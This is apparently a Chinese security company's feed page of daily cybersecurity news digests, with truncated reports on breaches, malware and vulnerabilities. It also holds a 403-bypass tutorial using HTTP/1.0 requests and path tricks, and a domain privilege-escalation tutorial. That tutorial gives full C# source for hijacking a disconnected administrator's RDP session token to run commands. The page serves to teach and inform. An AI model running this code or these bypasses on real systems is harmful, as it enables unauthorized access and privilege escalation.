网络安全日报 2024年12月11日
1、朝鲜黑客窃取Radiant Capital 5000万美元资金
https://www.securityweek.com/radiant-capital-50-million-heist-blamed-on-north-korean-hackers/ Radiant Capital于2023年10月遭遇重大网络攻击,约5000万美元资产被朝鲜关联的黑客组织UNC4736(亦称AppleJeus或Citrine Sleet)窃取。攻击起源于9月,一名开发者通过Telegram收到伪装成前承包商的消息,点击恶意链接后感染恶意软件。黑客利用开发者设备,在多签名调整过程中伪造交易,避过Safe{Wallet}验证,将资金从核心市场抽离。随后,攻击者利用开放授权进
2、OpenWrt路由器具有导致供应链攻击的安全漏洞
https://www.helpnetsecurity.com/2024/12/09/openwrt-security-update-supply-chain-attack/ OpenWrt是一种可定制的操作系统,主要用于各种制造商的无线家用路由器。安全研究员在OpenWrt的Attendedsysupgrade Server(ASU)中发现了两处安全漏洞。ASU是为基于OpenWrt发行版提供按需生成固件镜像服务的服务器,支持用户根据设备和所需软件包生成新固件。漏洞包括:命令注入漏洞,攻击者可能在固件构建过程中注入恶意命令,从而生成签署有合法构建密钥的恶意固件。SHA-256哈希碰撞问题(
3、ShinyHunters和Nemesis利用AWS S3漏洞窃取2TB敏感数据
https://hackread.com/shinyhunters-nemesis-hacks-aws-s3-bucket-leak/ 网络安全研究人员揭示了一场由ShinyHunters和Nemesis攻击组织关联的大规模网络攻击。攻击者通过利用数百万个网站的漏洞,窃取了超过2TB的敏感数据,包括客户信息、基础设施凭证和专有源代码。黑客采用Python、PHP等脚本语言以及ffuf、httpx和Shodan等工具,扫描AWS IP地址和域名,扩展攻击范围。由于配置不当,攻击者还通过开放的AWS S3存储桶暴露了其部分操作细节。研究人员与AWS欺诈团队合作通知受影响用户,并采取缓解措施,同时
4、黑客通过操纵AI干扰健康应用的准确性
https://www.govinfosecurity.com/interviews/how-hackers-manipulate-ai-to-affect-health-app-accuracy-i-5427 安全研究员发现,黑客可通过AI操纵健康应用的数据,威胁用户健康和数据完整性。研究者开发的恶意软件从Google Health Connect提取数据并发送至AI应用,由AI生成虚假信息,如错误的血糖读数,从而误导健康应用建议错误的治疗方案。这种操控可能导致医生难以质疑患者日常使用的设备数据,增加医疗决策风险。尽管此研究针对Google Health Connect,但这种利用AI操纵
5、FBI建议用暗号戳穿语音克隆骗局
https://www.secrss.com/articles/73303 近日,美国联邦调查局(FBI)发布了一项重要建议:与家人设置一个专属“暗号”或“暗语”,以应对日益猖獗的AI语音克隆骗局。随着越来越多的犯罪分子利用生成式AI技术模仿亲友声音实施诈骗,FBI提醒民众,这种简单的防护措施可以有效识别骗局,保护财产安全。
6、DeepSeek 和 Claude AI 存在命令注入漏洞
https://www.freebuf.com/news/417305.html DeepSeek 人工智能聊天机器人中的一个现已修补的安全漏洞的详细信息,如果成功利用,黑客可通过输入注入攻击方式控制受害者的账户。
7、罗马尼亚在涉嫌俄罗斯干预TikTok后取消总统选举结果
https://thehackernews.com/2024/12/romania-cancels-presidential-election.html 因为有人指控俄罗斯干预,罗马尼亚宪法法院在一项历史性裁决中宣布总统选举第一轮投票结果无效 。
8、DaMAgeCard:一种新的攻击利用 SD 卡来破坏系统内存
https://cybersecuritynews.com/damagecard-attack/ 一种被称为“DaMAgeCard”的新型攻击利用 SD Express 标准,通过其 SD 读卡器直接访问设备的内存。这种方法绕过了传统的安全措施,允许攻击者提取敏感数据或注入恶意代码,而无需物理访问设备内部。
9、第三方公司0Patch修复了Windows NTLM 哈希零日漏洞
https://www.ithome.com/0/816/232.htm 第三方安全公司 0Patch 发布了针对 Windows 系统中的一个零日 NTLM 哈希漏洞的修复补丁,该漏洞允许攻击者仅通过被攻击者查看文件资源管理器中的恶意文件所在的文件夹即可劫持凭据,无需实际打开文件。
10、黑客利用 ProjectSend 漏洞对暴露的服务器进行后门处理
https://www.4hou.com/posts/pnBX 尽管该漏洞已于 2023 年 5 月 16 日得到修复,但直到近期才为其分配了 CVE,导致用户没有意识到其严重性以及应用安全更新的紧迫性。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
【双12大直播】2024最后一趟末班车
↓ ↓ ↓ 12.12 直播间惊喜福利即将开启! ↓ ↓ ↓
网络安全日报 2024年12月10日
1、RedLine窃密木马通过盗版企业软件攻击俄罗斯企业
https://securelist.ru/redline-stealer-in-activators-for-business-software/111241/ 自2024年1月起,RedLine信息窃取活动持续针对俄罗斯企业,利用盗版的企业业务自动化软件进行传播。攻击者在会计和商业论坛发布伪装为HPDxLIB激活器的恶意版本,该版本使用.NET开发并携带自签名证书,而合法版本则使用C++开发并具有有效签名。根据卡巴斯基的报告,攻击者通过层层加密和.NET Reactor工具对恶意代码进行混淆,同时提供详细说明指导用户禁用安全软件以运行激活器。被感染的用户在执行替换了恶意库的补丁程序后,合
2、Python包“aiocpa”被揭露为加密货币窃取工具
https://hackread.com/aiocpa-python-package-cryptocurrency-infostealer/ ReversingLabs(RL)的机器学习威胁狩猎系统近日发现,PyPI中的合法外观Python包“aiocpa”被用于窃取加密货币钱包。该包伪装为同步和异步的加密支付API客户端,已被下载超过12100次。攻击者通过发布多个版本建立信任,并在版本0.1.13及之后的更新中植入恶意代码。此代码通过多层加密隐藏,旨在窃取加密交易令牌,可用于转移受害者的钱包资金。攻击者甚至试图接管已有的PyPI项目“pay”,以扩展受害者范围。传统应用安全测试工具未能检
3、数百款Cisco交换机受引导加载程序漏洞影响
https://securityaffairs.com/171729/security/cisco-switches-bootloader-flaw-cve-2024-20397.html Cisco NX-OS软件的启动加载器存在一个漏洞(CVE-2024-20397,CVSS评分:5.2),影响超过100款交换机设备。此漏洞允许攻击者绕过镜像签名验证,加载未经验证的软件。根据Cisco的安全公告,攻击者可以通过物理访问设备或使用本地管理员凭据,执行一系列启动加载器命令以触发漏洞。这一问题源于启动加载器配置的不安全设置,可能导致系统运行未经验证的NX-OS镜像,从而威胁设备的完整性。目前,
4、研究人员发现可利用QR码实现隔离浏览器环境下的C2通信
https://cloud.google.com/blog/topics/threat-intelligence/c2-browser-isolation-environments/ SpecterOps团队早前发布了一篇关于绕过浏览器隔离环境的技术博客,而Mandiant的红队更进一步,提出了利用QR码完成命令与控制(C2)通信的新方法。在浏览器隔离环境中,传统的HTTP响应无法直接被本地浏览器解码,因为用户仅能接收到像素流,而非实际的HTTP数据响应。Mandiant的方案创新性地通过QR码传递命令数据。具体过程如下:恶意植入程序使用无头浏览器(如Puppeteer)向C2服务器请求页面
5、最强Android间谍软件曝光,可提取信息、密码和执行shell命令
https://www.bleepingcomputer.com/news/security/new-android-spyware-found-on-phone-seized-by-russian-fsb/ 该恶意软件似乎是Monokle的新版本, Monokle最初由Lookout在2019年发现,由总部位于圣彼得堡的特种技术中心有限公司开发。
6、警方捣毁非法加密通信服务Matrix:全球网络犯罪遭重创
https://mp.weixin.qq.com/s/ba3o7T_oNsx6_geqDGuubQ 欧盟刑警组织近日宣布,在一项代号为“Passionflower”的国际联合行动中,法国和荷兰警方成功捣毁了一个名为Matrix的非法加密通信服务。
7、普通用户手机上发现间谍软件 Pegasus
https://cybernews.com/security/pegasus-spyware-detected-on-ordinary-peoples-phones/ 移动安全公司 iVerify 在今年 5 月发布了一个工具,可用于扫描手机是否感染了以色列公司 NSO Group 开发的间谍软件 Pegasus。2500 名用户扫描设备后发现了 7 起 Pegasus 感染事件。这意味着 Pegasus 的传播范围比以前认为的更为广泛。
8、微软将 Azure 防火墙与标准负载均衡器集成以提高安全性
https://cybersecuritynews.com/azure-firewall-integrated-with-azure-standard-load-balancer/ 微软推出了 Azure 防火墙和 Azure 标准负载均衡器之间的新集成功能,使用户能够创建更强大、更安全的网络体系结构。
9、Ultralytics AI 模型被劫持,用加密挖矿程序感染数千人
https://www.bleepingcomputer.com/news/security/ultralytics-ai-model-hijacked-to-infect-thousands-with-cryptominer/ 流行的 Ultralytics YOLO11 AI 模型在供应链攻击中遭到破坏,在运行 Python 包索引 (PyPI) 版本 8.3.41 和 8.3.42 的设备上部署加密挖矿程序 。
10、Akamai等WAF中的一个漏洞影响了40%的财富 100 强公司
https://cybersecuritynews.com/waf-vulnerability-in-akamai-cloudflare-and-imperva/ 领先的网络安全研究团队 Zafran 表示,最近在 Web 应用程序防火墙 (WAF) 服务配置中发现了一个被称为“BreakingWAF”的安全漏洞,该漏洞使许多财富 1000 强公司容易受到网络攻击。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年12月09日
1、Solana的web3.js库被发现遭遇供应链攻击
https://socket.dev/blog/supply-chain-attack-solana-web3-js-library 近期,Solana的web3.js库(版本1.95.6和1.95.7)被发现遭遇供应链攻击,恶意代码被注入其中,旨在窃取开发者和用户的私钥,从而可能导致加密货币钱包资金被盗。这些被感染的版本在npm上的每周下载量超过350000次,广泛应用于Solana生态系统的Web3开发。攻击发生的原因被认为是一次针对web3.js库官方维护者的社交工程/phishing攻击。受影响的版本包括1.95.6和1.95.7,恶意代码会将被窃取的私钥传输到一个硬编码的地址,该地
2、英国国家犯罪局破获俄罗斯跨国洗钱网络
https://www.nationalcrimeagency.gov.uk/news/operation-destabilise-nca-disrupts-multi-billion-russian-money-laundering-networks-with-links-to-drugs-ransomware-and-espionage-resulting-in-84-arrests 近日,英国国家犯罪局(NCA)主导的国际调查行动——“Destabilise行动”成功揭露并破获了多个俄罗斯洗钱网络,这些网络为全球范围内的严重犯罪活动提供了支持。此次行动涉及多个地区,包括英国、中东、俄罗
3、Black Basta勒索软件团伙袭击英国电信集团
https://securityaffairs.com/171668/breaking-news/black-basta-ransomware-attack-bt-group.html BT集团(前身为英国电信公司)宣布,在遭遇Black Basta勒索软件袭击后,公司关闭了部分服务器以进行应急响应。该公司表示,攻击主要针对其BT会议平台(BT Conferencing),且仅影响了平台的特定部分。受影响的服务器已被迅速隔离和下线,且未影响实时的BT会议服务。BT集团是全球领先的电信巨头之一,业务遍及180个国家,提供固定电话、宽带、移动、电视和IT服务等。目前尚不清楚攻击者是否窃取了数据。
4、日本I-O DATA LTE路由器发现零日漏洞
https://jvn.jp/en/jp/JVN46615026/index.html 日本I-O DATA公司近日发布安全通告,警告其UD-LT1和UD-LT1/EX型号的LTE路由器存在多个零日漏洞。攻击者利用这些漏洞可能修改设备设置、执行命令,甚至关闭防火墙。漏洞包括权限配置不当、远程操作系统命令执行和绕过身份验证关闭防火墙等问题。I-O DATA确认有客户已报告遭遇外部未经授权的访问。该公司表示,将于2024年12月18日发布修复补丁,但在此之前,用户应采取防护措施:禁用远程管理功能、限制仅通过VPN网络访问、修改默认“访客”账户密码、定期检查设备设置并及时恢复出厂设置。该系列路由器
5、Mitel MiCollab协作平台中存在多个安全漏洞
https://labs.watchtowr.com/where-theres-smoke-theres-fire-mitel-micollab-cve-2024-35286-cve-2024-41713-and-an-0day/ 在当前攻击目标趋于广泛化的背景下,任何位于企业DMZ中的设备都成为潜在攻击目标,而Mitel MiCollab平台的最新漏洞揭示了VoIP系统的严重安全隐患。研究人员发现了两个已公开的漏洞(CVE-2024-35286和CVE-2024-41713),以及一个尚未修复的零日漏洞,暴露了MiCollab平台在身份验证绕过和任意文件读取等方面的显著风险。CVE-202
6、Ultralytics YOLO AI模型遭到供应链攻击
https://www.techtarget.com/searchsecurity/news/366616877/Ultralytics-YOLO-AI-model-compromised-in-supply-chain-attack 近日,美国软件公司Ultralytics旗下YOLO11图像识别AI模型被曝遭供应链攻击,版本v8.3.41和v8.3.42中被植入XMRig加密挖矿软件。尽管Ultralytics尚未发布官方安全通告,但已紧急下架受影响的PyPI包,并暂停自动部署以展开调查。此次事件由开发者“metrizable”在GitHub上首次曝光,他通过比对PyPI包与GitHub
7、Termite勒索软件袭击供应链平台Blue Yonder
https://cyble.com/blog/technical-look-at-termite-ransomware-blue-yonder/ 供应链管理平台Blue Yonder及其客户近日遭遇了由新型勒索软件“Termite”发起的攻击。研究显示,“Termite”是臭名昭著的Babuk勒索软件的重命名版本。Cyble研究与情报实验室(CRIL)分析了Termite的样本,并指出该勒索软件已经在其泄露网站上列出七个受害者。技术分析表明,Termite在运行后调用SetProcessShutdownParameters(0, 0) API,以确保其进程在系统关机时最晚被终止,从而获得足够
8、研究人员发现泄露NTLM凭据的Windows零日漏洞
https://blog.0patch.com/2024/12/url-file-ntlm-hash-disclosure.html 研究人员发现了一个影响所有Windows系统(从Windows 7到Windows 11 v24H2和Server 2022)的0day漏洞。该漏洞允许攻击者通过用户在Windows资源管理器中查看恶意文件来窃取其NTLM凭据,例如通过访问共享文件夹、USB磁盘,或查看从攻击者网站自动下载至“下载”文件夹的文件。此漏洞已报告给微软,但目前尚未发布官方补丁。研究团队提供了免费的微补丁,直到微软推出官方修复方案为止。微补丁适用于多个Windows版本,包括Wind
9、Bitsight揭示Socks5Systemz代理恶意软件
https://www.bitsight.com/blog/proxyam-powered-socks5systemz-botnet Bitsight TRACE近期发布报告,揭示了一款名为Socks5Systemz的代理恶意软件的演化及其影响。尽管其活跃时间可以追溯到2013年,但Socks5Systemz直到最近才因大规模传播活动引起关注。此恶意软件旨在将受感染设备转化为代理出口节点,曾作为独立产品或集成至Andromeda、Smokeloader和Trickbot等恶意软件中进行分发。最新调查显示,Socks5Systemz的一个僵尸网络在其高峰时拥有多达25万个受感染系统,覆盖几乎所
10、8Base勒索软件组织攻击克罗地亚里耶卡港
https://securityaffairs.com/171779/cyber-crime/8base-ransomware-croatias-port-of-rijeka.html 克罗地亚最大的干货港口特许经营商——里耶卡港(Luka Rijeka d.d.)近日遭到8Base勒索软件组织的攻击。攻击者声称窃取了包括发票、收据、会计文件、个人数据、合同和保密协议在内的大量敏感信息,并在其Tor泄密网站上公布了部分详情。8Base勒索软件组织要求在2024年12月10日前支付赎金,但里耶卡港首席执行官杜什科·格拉博瓦茨(Duško Grabovac)向当地媒体表示,此次事件并未影响港口运
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
海外的bug-hunters,不一样的403bypass
一种绕过403的新技术,跟大家分享一下。研究HTTP协议已经有一段时间了。发现HTTP协议的1.0版本可以绕过403。于是开始对lyncdiscover.microsoft.com域做FUZZ,并且发现了几个403Forbidden的文件。
(访问fsip.svc为403)
在经过尝试后,得出一个结论:当清除所有header头的值时,服务器会对客户端作出响应。
结论1:
将HTTP协议版本更改为1.0,而且不要在标题中设置任何值。
结论2:
如果服务器和任何其他安全机制没有以正确的方式配置,不把Host放在header头内时,服务器将会自己把目标地址放在header中,这会导致服务器将我们的请求认做本地请求。
(访问fsip.svc为200)
用同样的方式尝试了另一个文件,并且再次成功bypass。
(403)
(200)
还要补充一点:你也可以用同样的方式去绕过CDN获取服务器IP。
例如:
如你所见,在Location中,它在返回中显示了域本身的地址。
再次使用相同的方法并发送请求时,显示了服务器的主地址。
以上技术已经被添加到burp工具当中:
https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122------------------------------
以上这种思路虽然已经被添加到了burp插件,但我们依旧需要去学习了解插件运行背后的逻辑,而不只是当一个脚本小子。
尤其是在做黑盒测试中,秉持改变原有数据结构的FUZZ思路进行一切可能的尝试,才会挖掘出更有趣的漏洞。
在burp权限绕过插件中,除了以上尝试,还有诸多修改url请求的尝试,例如:
https://www.example.com..;/api/v1/users
https://www.example.com/api..;/v1/users
https://www.example.com/api/v1..;/users
这些尝试本质也是在破坏数据原有结构,利用后端,服务器等处理特性实现绕过。
其实除此外还可以进行任何可能的尝试:https://www.example.com/api/v1/users
例如将v1改成v2,利用通配符代替数字,或者添加多余的字符串等等操作。
利用断开的域管理员RDP会话提权
前言
当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?
通过计划任务完成域内提权
首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:
然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:
选择搜索用户位置为域内:
选择登录进来的域管用户:
设置启动的命令:
然后运行计划任务,可以看到成功添加了域内用户:
有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:
原理分析
原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建:
using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
return;
}
int sessionId;
if (!int.TryParse(args[0], out sessionId))
{
Console.WriteLine("Invalid session ID");
return;
}
string command = args[1];
IntPtr userToken = IntPtr.Zero;
IntPtr envBlock = IntPtr.Zero;
try
{
// Get user token for the specified session
bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
if (!tokenResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Create environment block
bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
if (!envResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Prepare startup info
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "winsta0\\default";
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
// Create process as user
bool processResult = CreateProcessAsUser(
userToken,
null,
command,
IntPtr.Zero,
IntPtr.Zero,
false,
0x00000400, // CREATE_UNICODE_ENVIRONMENT
envBlock,
null,
ref startupInfo,
out processInfo);
if (!processResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
// Clean up process handles
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
catch (Exception ex)
{
Console.WriteLine("Error: {0}", ex.Message);
}
finally
{
// Clean up resources
if (envBlock != IntPtr.Zero)
{
DestroyEnvironmentBlock(envBlock);
}
if (userToken != IntPtr.Zero)
{
CloseHandle(userToken);
}
}
}
}
编译后进行尝试:
成功完成了token窃取并添加了域内用户。
总结
本文通过演示窃取RDP Session Token完成域内提权的目的。
网络安全日报 2024年11月29日
1、研华工业级 Wi-Fi设备存在多个严重漏洞
https://thehackernews.com/2024/11/over-two-dozen-flaws-identified-in.html 网络安全公司Nozomi Networks在周三的分析中表示:“这些漏洞带来了重大风险,允许未经身份验证的远程代码以root权限执行,从而完全损害受影响设备的机密性、完整性和可用性。”
2、研究人员发现第一个针对Linux的UEFI Bootkit-Bootkitty
https://thehackernews.com/2024/11/researchers-discover-bootkitty-first.html 网络安全研究人员揭示了第一个专为 Linux 系统设计的统一可扩展固件接口 (UEFI) bootkit 。该Bootkit被其名为 BlackCat 的创建者称为Bootkitty ,被评估为概念验证 (PoC),并且没有证据表明它已被用于现实世界的攻击。它也被追踪为IranuKit ,于2024年11月5日上传到VirusTotal平台。
3、黑客利用流行的Godot游戏引擎传播恶意软件
https://research.checkpoint.com/2024/gaming-engines-an-undetected-playground-for-malware-loaders/ Check Point Research揭示了一个新型的恶意软件加载技术,利用开源游戏引擎Godot执行恶意GDScript代码,从而触发恶意命令并加载恶意软件。该技术已成功避开几乎所有杀毒引擎,感染了超过17000台计算机。恶意加载器GodLoader自2024年6月29日起被网络犯罪分子广泛传播,主要通过GitHub的Stargazers Ghost Network分发。该网络采用了“恶意软件即
4、攻击者利用ProjectSend漏洞攻击暴露的服务器
https://vulncheck.com/blog/projectsend-exploited-itw 2024年11月,黑客利用ProjectSend中的认证绕过漏洞(CVE-2024-11680)攻击暴露的服务器,上传webshell并获得远程控制权限。该漏洞影响所有未升级至r1720版本的ProjectSend,攻击者可以通过发送特制的HTTP请求到'options.php',修改应用配置,成功利用后可创建恶意账户、植入webshell和嵌入恶意JavaScript代码。Censys报告显示,约4000个公开暴露的ProjectSend实例中,大多数仍然存在漏洞,55%的实例运行的是
5、名为Matrix的黑客操控大量IoT僵尸网络发动DDoS攻击
https://hackread.com/matrix-hackers-new-iot-botnet-ddos-attacks/ Aqua Nautilus的研究人员揭示了由名为Matrix的黑客组织发动的一次大规模分布式拒绝服务(DDoS)攻击活动。Matrix被认为是一个低技术门槛的威胁行为者,主要通过暴力破解、利用默认弱密码和设备配置漏洞,感染了大量的IoT设备,包括摄像头、路由器、DVR和企业系统。这些被感染的设备被用来组建一个庞大的僵尸网络,攻击目标主要集中在Layer 4(传输层)和Layer 7(应用层),并通过Telegram机器人“Kraken Autobuy”提供DDoS
6、Cloudflare发生一起影响大量客户的日志丢失事件
https://blog.cloudflare.com/cloudflare-incident-on-november-14-2024-resulting-in-lost-logs/ Cloudflare发生了一起影响大量客户的日志丢失事件,导致约55%的日志未能成功发送。在大约3.5小时的时间内,Cloudflare的日志服务遭遇了系统故障,导致大部分客户的事件日志未能传输。事后调查显示,问题源自一次配置错误,这个错误触发了后续的系统过载,尤其是在日志转发服务(Logfwdr)和日志缓冲系统(Buftee)之间的配合问题。具体来说,Logfwdr的错误配置导致所有客户的日志都被错误地转发,
7、朝鲜黑客利用武器化的 JavaScript 项目攻击开发人员
https://cybersecuritynews.com/weaponized-javascript-projects/ 朝鲜威胁行为者利用武器化的 Javascript 项目瞄准软件开发人员,其中包括通过 NPM 软件包部署的 BeaverTail 恶意软件。它的目的是窃取信息并加载其他阶段的恶意软件,特别是名为 InvisibleFerret 的基于 Python 的多阶段后门。
8、新的 Skimmer 恶意软件从结账页面窃取信用卡数据
https://cybersecuritynews.com/skimmer-malware-credit-card-theft/ 一种新的 skimmer 恶意软件针对 Magento 支持的电子商务网站,从结帐页面窃取敏感的信用卡信息。该恶意软件动态创建虚假信用卡表单或直接提取付款字段,仅在结帐页面上激活。随后,被盗信息被加密并过滤到远程服务器。
9、HPE Insight 远程支持漏洞可让攻击者执行任意代码
https://cybersecuritynews.com/hpe-insight-remote-support-vulnerabilities/ Hewlett Packard Enterprise (HPE) 披露了其 Insight Remote Support (IRS) 软件中的多个高严重性漏洞,可能允许攻击者执行远程代码、执行目录遍历和访问敏感信息。该安全公告于 2024 年 11 月 22 日发布,敦促用户立即采取行动解决这些严重缺陷。
10、Zabbix SQL注入漏洞可让攻击者获得对实例的完全控制
https://cybersecuritynews.com/zabbix-sql-injection-vulnerability/ 流行的开源监控解决方案 Zabbix 中发现了一个严重的安全漏洞,可能使攻击者能够完全控制受影响的实例。该漏洞编号为 CVE-2024-42327,影响 Zabbix 的多个版本,CVSS 评分为 9.9,表明其严重性。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月28日
1、研究人员揭示企业VPN客户端的远程代码执行风险
https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/ 在SANS HackFest Hollywood 2024会议上,安全专家展示了企业VPN客户端的漏洞,揭示了通过VPN服务器获取远程代码执行权限的潜在风险。研究表明,许多广泛使用的VPN客户端存在信任关系漏洞,攻击者可以通过恶意VPN服务器轻松获取高权限访问。为帮助安全专业人士理解并防范这一威胁,研究团队发布了NachoVPN工具,一个开源平台,能够模拟恶意VPN服务器并利用这些漏洞进行攻击
2、英国Wirral大学医院遭遇重大网络安全事件
https://www.govinfosecurity.com/uk-nhs-hospital-reports-major-cyberincident-a-26915 英国西北部Wirral大学教学医院日前报告发生了严重的网络安全事件,导致当天所有门诊预约被迫取消。医院方面表示,此次事件属于“重大网络安全事故”,并要求患者仅在紧急情况下前往急诊部门。受影响的医院还包括Arrowe Park、Clatterbridge以及Wirral妇女儿童医院。根据医院更新的信息,产科、新生儿科和急诊分诊仍正常运作,但Arrowe Park的系统已因攻击而瘫痪。医院工作人员称,由于电子系统无法使用,所有记录
3、非洲联合打击网络犯罪行动抓获1000余名嫌疑人
https://cyberscoop.com/african-cybercrime-crackdown-nets-more-than-1000-suspects/ 国际执法合作行动“塞伦盖蒂行动”在过去两个月内成功打击了横跨19个非洲国家的网络犯罪活动,共抓获1000多名嫌疑人。此次行动由国际刑警组织(Interpol)和非洲刑警组织(Afripol)联合发起,涉及的犯罪活动包括勒索软件攻击、商务邮件欺诈等。根据通报,犯罪分子已造成35000个受害者,损失金额高达1.93亿美元。“塞伦盖蒂行动”是继2022年和2023年“非洲网络暴风”行动之后,又一次广泛的国际网络犯罪打击行动。Afripo
4、Firefox和Tor浏览器遭遇神秘0Day漏洞攻击
https://www.freebuf.com/news/416301.html 近日,俄罗斯某APT组织被发现利用两个以前未知的漏洞攻击Windows PC上的Firefox和Tor浏览器用户。安全厂商ESET指出,这些零日漏洞攻击可能造成“广泛传播”,主要针对欧洲和北美的用户。
5、CISA敦促机构在主动攻击中修补关键的“阵列网络”漏洞
https://thehackernews.com/2024/11/cisa-urges-agencies-to-patch-critical.html 美国网络安全和基础设施安全局( CISA )在其已知利用漏洞目录下添加了一个影响 Array Networks AG 和 vxAG 安全访问网关的关键安全漏洞补丁。
6、PyPI储存库aiocpa被发现通过机器人泄露加密密钥
https://thehackernews.com/2024/11/pypi-python-library-aiocpa-found.html 存储库的管理员已经隔离了包ai ocpa ,新的更新包含通过 Telegram 输出私钥的恶意代码。
7、GitLab LFS Token权限提升漏洞
https://www.secrss.com/articles/72791 近日,奇安信CERT监测到官方修复GitLab LFS Token 权限提升漏洞(CVE-2024-8114),由于GitLab对LFS令牌的处理存在缺陷,使得攻击者可以利用用户的个人访问令牌(PAT)来获取LFS令牌,进而以该用户的身份执行未经授权的操作,比如读取或修改存储在LFS中的敏感文件。鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。
8、NVIDIA修补UFM产品中的高严重性漏洞
https://www.anquanke.com/post/id/302229 英伟达™(NVIDIA®)近日发布固件更新,以解决影响其 UFM Enterprise、UFM Appliance 和 UFM CyberAI 产品的高严重性漏洞。该漏洞被识别为 CVE-2024-0130,可允许攻击者获得升级权限、篡改数据、拒绝服务并披露敏感信息。
9、谷歌新推出的工具简化了安卓迁移后的应用登录过程
https://www.anquanke.com/post/id/302226 谷歌推出了一项名为 “恢复凭据 ”的新功能,帮助用户在迁移到新的安卓设备后安全地恢复第三方应用程序的账户访问权限。
10、CISA 对苹果和甲骨文零日漏洞敲响警钟
https://www.anquanke.com/post/id/302150 网络安全和基础设施安全局(CISA)就影响苹果和甲骨文产品的三个被主动利用的漏洞发出紧急警告。这些漏洞已被添加到 CISA 的已知漏洞(KEV)目录中,强调了用户立即更新其软件的迫切需要。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月27日
1、攻击者使用Excel XLL文件传播XenoRAT远程访问木马
https://hunt.io/blog/xenorat-excel-xll-confuserex-as-access-method 研究人员在分析恶意软件样本时发现,一种新型的XenoRAT远程访问木马采用了Excel XLL文件作为传播载体,并通过ConfuserEx进行保护。这一变化标志着XenoRAT攻击手段的转变,采用了较为不常见的文件类型来部署恶意代码,可能对企业网络构成更大威胁。该XenoRAT样本名为“Payment_Details.xll”,通过Excel-DNA框架加载恶意.NET程序集,并利用ConfuserEx进行加密和混淆,以逃避检测。执行该XLL文件后,恶意批处理
2、供应链管理供应商Blue Yonder遭受勒索软件攻击
